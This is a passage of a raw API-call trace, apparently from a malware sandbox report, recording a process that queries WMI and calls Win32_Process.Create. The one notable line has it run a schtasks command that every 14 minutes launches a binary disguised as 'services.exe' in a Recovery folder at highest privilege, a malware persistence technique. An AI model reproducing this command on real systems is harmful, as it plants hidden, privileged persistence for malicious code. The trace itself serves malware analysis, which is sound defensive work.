(in: This=0x1bea15b0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0060.236] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0060.236] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0060.236] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0060.236] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0060.236] IUnknown:Release (This=0x111f638) returned 0x1 [0060.238] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bedaff0) returned 0x0 [0060.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedaff0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0060.238] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedaff0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea1730) returned 0x0 [0060.238] WbemDefPath:IUnknown:Release (This=0x1bedaff0) returned 0x0 [0060.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea1730) returned 0x0 [0060.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0060.239] WbemDefPath:IUnknown:AddRef (This=0x1bea1730) returned 0x3 [0060.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0060.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0060.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bedb030) returned 0x0 [0060.239] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb030, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.239] WbemDefPath:IUnknown:Release (This=0x1bedb030) returned 0x3 [0060.239] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0060.239] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0060.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0060.265] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x2 [0060.265] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x1 [0060.265] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0060.265] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0060.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea1730) returned 0x0 [0060.265] WbemDefPath:IUnknown:AddRef (This=0x1bea1730) returned 0x3 [0060.265] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x2 [0060.266] WbemDefPath:IWbemPath:SetText (This=0x1bea1730, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0060.266] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0060.266] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0060.266] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.266] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0060.266] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0060.266] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0060.266] IUnknown:Release (This=0x111f638) returned 0x1 [0060.268] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bedb070) returned 0x0 [0060.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb070, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0060.268] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb070, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea17f0) returned 0x0 [0060.268] WbemDefPath:IUnknown:Release (This=0x1bedb070) returned 0x0 [0060.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea17f0) returned 0x0 [0060.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0060.269] WbemDefPath:IUnknown:AddRef (This=0x1bea17f0) returned 0x3 [0060.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0060.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0060.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bedb0b0) returned 0x0 [0060.269] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb0b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.269] WbemDefPath:IUnknown:Release (This=0x1bedb0b0) returned 0x3 [0060.269] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0060.269] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0060.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0060.269] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x2 [0060.270] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x1 [0060.270] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0060.270] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0060.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea17f0) returned 0x0 [0060.270] WbemDefPath:IUnknown:AddRef (This=0x1bea17f0) returned 0x3 [0060.270] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x2 [0060.270] WbemDefPath:IWbemPath:SetText (This=0x1bea17f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0060.270] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1730, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0060.270] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea17f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0060.270] WbemDefPath:IWbemPath:GetText (in: This=0x1bea17f0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0060.270] WbemDefPath:IWbemPath:GetText (in: This=0x1bea17f0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0060.270] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea1730) returned 0x0 [0060.270] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea17f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0060.271] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea17f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0060.271] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea17f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0060.271] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1730, uIndex=0x0, pszName="root") returned 0x0 [0060.271] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea17f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0060.272] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea17f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0060.272] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1730, uIndex=0x1, pszName="cimv2") returned 0x0 [0060.272] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea17f0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0060.272] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea17f0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0060.272] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1730, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0060.272] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1730, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0060.272] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1730, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0060.272] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0060.273] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0060.273] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.273] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0060.273] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0060.273] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.273] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1730, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0060.273] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1730, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0060.273] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1730, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0060.273] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1730, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0060.274] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1730, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0060.274] IWbemServices:GetObject (in: This=0x1bed1bb0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bebb400, ppCallResult=0x0) returned 0x0 [0060.279] IWbemClassObject:GetMethod (in: This=0x1bebb400, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bebb770, ppOutSignature=0x1b2fd9e0*=0x1bebbae0) returned 0x0 [0060.279] IWbemClassObject:SpawnInstance (in: This=0x1bebb770, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x11f1bf0) returned 0x0 [0060.280] IWbemClassObject:Get (in: This=0x11f1bf0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a33940*=0, plFlavor=0x2a33944*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a33940*=8, plFlavor=0x2a33944*=32) returned 0x0 [0060.280] IWbemClassObject:Get (in: This=0x11f1bf0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a33940*=8, plFlavor=0x2a33944*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a33940*=8, plFlavor=0x2a33944*=32) returned 0x0 [0060.280] IWbemClassObject:Put (This=0x11f1bf0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 14 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0060.280] IWbemClassObject:Get (in: This=0x11f1bf0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a339d0*=0, plFlavor=0x2a339d4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a339d0*=13, plFlavor=0x2a339d4*=32) returned 0x0 [0060.281] IWbemClassObject:Get (in: This=0x11f1bf0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a339d0*=13, plFlavor=0x2a339d4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a339d0*=13, plFlavor=0x2a339d4*=32) returned 0x0 [0060.281] IUnknown:QueryInterface (in: This=0x1bebad20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bebad20) returned 0x0 [0060.281] IUnknown:QueryInterface (in: This=0x1bebad20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0060.281] IUnknown:QueryInterface (in: This=0x1bebad20, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0060.282] IUnknown:AddRef (This=0x1bebad20) returned 0x3 [0060.282] IUnknown:QueryInterface (in: This=0x1bebad20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0060.282] IUnknown:QueryInterface (in: This=0x1bebad20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0060.282] IUnknown:QueryInterface (in: This=0x1bebad20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bebad28) returned 0x0 [0060.282] IMarshal:GetUnmarshalClass (in: This=0x1bebad28, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0060.282] IUnknown:Release (This=0x1bebad28) returned 0x3 [0060.282] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0060.282] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0060.282] IUnknown:QueryInterface (in: This=0x1bebad20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0060.283] IUnknown:Release (This=0x1bebad20) returned 0x2 [0060.283] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0060.283] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0060.283] IUnknown:QueryInterface (in: This=0x1bebad20, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0060.283] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0060.283] IUnknown:QueryInterface (in: This=0x1bebad20, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0060.283] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0060.283] IUnknown:AddRef (This=0x1bebad20) returned 0x3 [0060.283] IWbemClassObject:Put (This=0x11f1bf0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bebad20, varVal2=0x0), Type=0) returned 0x0 [0060.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1430, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0060.284] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, 